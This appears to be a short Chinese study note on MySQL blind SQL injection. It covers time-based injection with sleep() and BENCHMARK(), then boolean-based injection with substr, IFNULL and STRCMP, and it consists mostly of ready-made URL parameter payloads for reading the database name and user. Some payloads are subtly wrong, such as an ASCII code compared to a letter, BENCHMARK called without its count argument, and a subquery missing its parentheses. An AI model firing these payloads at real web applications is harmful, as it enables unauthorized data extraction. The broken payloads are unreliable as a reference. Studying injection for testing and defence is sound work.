时间盲注
时间盲注也叫延时注入,一般用到函数sleep(),BENCHMARK()还会用到笛卡尔积(尽量不要使用,内容太多睡很慢很卡)
一般时间盲注我们还需要使用条件判断符
if(expre1,expre2,expre3),当expre1为true时,返回expre2,false时,返回expre3
盲注的同时也配合这mysql提供的分割函数
substr(),substring(),left()
我们一般喜欢将分割的函数编码一下,当然不编码也行,编码的好处就是可以不用引号,常用的由于ascii(),hex()等等
payload
?id=1' and if(ascii(substr(database(),1,1))>115,1,sleep(5)) --+
?id=1' and if(ascii(substr(select user(),1,1))='r',1,sleep(5)) --+
?id=1' and if(ascii(length(database()))=115,BENCHMARK('a'),1) --+
布尔盲注
?id=1' and substr((select user()),1,1)='r' --+
?id=1' and IFNULL((substr((select user()),1,1)='r'),0) --+
#如果IFNULL第一个参数的表达式为NULL,则返回第二个参数的备用值,不为Null则输出值
?id=1' and strcmp((substr((select user()),1,1)='r'),1) --+
#若所有的字符串均相同,STRCMP() 返回0,若根据当前分类次序,第一个参数小于第二个,则返回-1,其他情况返回1